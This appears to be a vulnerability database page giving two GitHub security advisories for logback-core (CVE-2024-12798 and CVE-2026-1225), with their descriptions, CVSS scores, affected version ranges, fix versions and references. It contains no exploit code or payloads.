A successful attack requires the user to have write access to a configuration file. Alternatively, the attacker could inject a malicious environment variable pointing to a malicious configuration file. In both cases, the attack requires existing privilege.

Severity

5.9 (Medium)


                  
                    CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:L/VI:H/VA:L/SC:L/SI:H/SA:L/RE:L/U:Clear

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "ch.qos.logback:logback-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.4.0"
            },
            {
              "fixed": "1.5.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "ch.qos.logback:logback-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.3.15"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-12798"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-917"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-12-19T22:22:09Z",
    "nvd_published_at": "2024-12-19T16:15:07Z",
    "severity": "MODERATE"
  },
  "details": "ACE vulnerability in JaninoEventEvaluator by QOS.CH logback-core up to and including version 1.5.12 in Java applications allows attackers to execute arbitrary code by compromising an existing logback configuration file or by injecting an environment variable before program execution.\n\nMalicious logback configuration files can allow the attacker to execute arbitrary code using the JaninoEventEvaluator extension.\n\nA successful attack requires the user to have write access to a configuration file. Alternatively, the attacker could inject a malicious environment variable pointing to a malicious configuration file. In both cases, the attack requires existing privilege.",
  "id": "GHSA-pr98-23f8-jwxv",
  "modified": "2025-01-03T19:05:25Z",
  "published": "2024-12-19T18:31:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-12798"
    },
    {
      "type": "WEB",
      "url": "https://github.com/qos-ch/logback/commit/2cb6d520df7592ef1c3a198f1b5df3c10c93e183"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/qos-ch/logback"
    },
    {
      "type": "WEB",
      "url": "https://logback.qos.ch/news.html#1.3.15"
    },
    {
      "type": "WEB",
      "url": "https://logback.qos.ch/news.html#1.5.13"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:L/VI:H/VA:L/SC:L/SI:H/SA:L/RE:L/U:Clear",
      "type": "CVSS_V4"
    }
  ],
  "summary": "QOS.CH logback-core Expression Language Injection vulnerability"
}

GHSA-QQPG-MVQG-649V

Vulnerability from github – Published: 2026-01-22 12:31 – Updated: 2026-01-22 18:06

Summary

Logback allows an attacker to instantiate classes already present on the class path

Details

ACE vulnerability in configuration file processing by QOS.CH logback-core up to and including version 1.5.24 in Java applications, allows an attacker to instantiate classes already present on the class path by compromising an existing logback configuration file.

The instantiation of a potentially malicious Java class requires that said class is present on the user's class-path. In addition, the attacker must have write access to a configuration file. However, after successful instantiation, the instance is very likely to be discarded with no further ado.

Severity

1.8 (Low)


                  
                    CVSS:4.0/AV:L/AC:H/AT:P/PR:H/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "ch.qos.logback:logback-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.5.25"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-1225"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-22T18:06:44Z",
    "nvd_published_at": "2026-01-22T10:16:07Z",
    "severity": "LOW"
  },
  "details": "ACE vulnerability in configuration file processing  by QOS.CH logback-core up to and including version 1.5.24 in Java applications, allows an attacker to instantiate classes already present on the class path by compromising an existing logback configuration file.\n\nThe instantiation of a potentially malicious Java class requires that said class is present on the user\u0027s class-path. In addition, the attacker must  have write access to a configuration file. However, after successful instantiation, the instance is very likely to be discarded with no further ado.",
  "id": "GHSA-qqpg-mvqg-649v",
  "modified": "2026-01-22T18:06:44Z",
  "published": "2026-01-22T12:31:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1225"
    },
    {
      "type": "WEB",
      "url": "https://github.com/qos-ch/logback/issues/997"
    },
    {
      "type": "WEB",
      "url": "https://github.com/qos-ch/logback/commit/1f97ae1844b1be8486e4e9cade98d7123d3eded5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/qos-ch/logback"
    },
    {
      "type": "WEB",
      "url": "https://logback.qos.ch/news.html#1.5.25"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:H/AT:P/PR:H/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Logback allows an attacker to instantiate classes already present on the class path"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

(CVE-2015-2104)

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